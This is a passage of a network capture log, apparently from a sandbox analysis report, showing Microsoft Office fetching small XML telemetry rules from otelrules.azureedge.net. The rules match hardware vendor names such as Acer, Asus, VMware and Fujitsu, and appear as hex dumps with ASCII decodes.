2024-11-26 21:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215218Z-174f7845968v75bwhC1EWRuqen0000000gv000000000uett x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:18 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215218Z-174f7845968g6hv8hC1EWR1v2n0000000400000000005xgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:18 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215218Z-174f78459684bddphC1EWRbht40000000vs000000000devf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:20 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215221Z-174f7845968kdththC1EWRzvxn000000089g00000000np2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:20 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215221Z-174f7845968psccphC1EWRuz9s0000000w7g00000000g9ze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215221Z-174f78459684bddphC1EWRbht40000000vq000000000mx52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:21 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:21 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215221Z-174f78459688l8rvhC1EWRtzr000000008hg00000000n3pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215222Z-174f7845968l4kp6hC1EWRe8840000000wb00000000047fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215223Z-174f7845968cpnpfhC1EWR3afc0000000vmg00000000fw92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215223Z-174f7845968px8v7hC1EWR08ng0000000wa0000000008edg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215224Z-174f7845968xr5c2hC1EWRd0hn0000000ctg00000000mw8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215225Z-174f7845968glpgnhC1EWR7uec0000000w6000000000b7zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
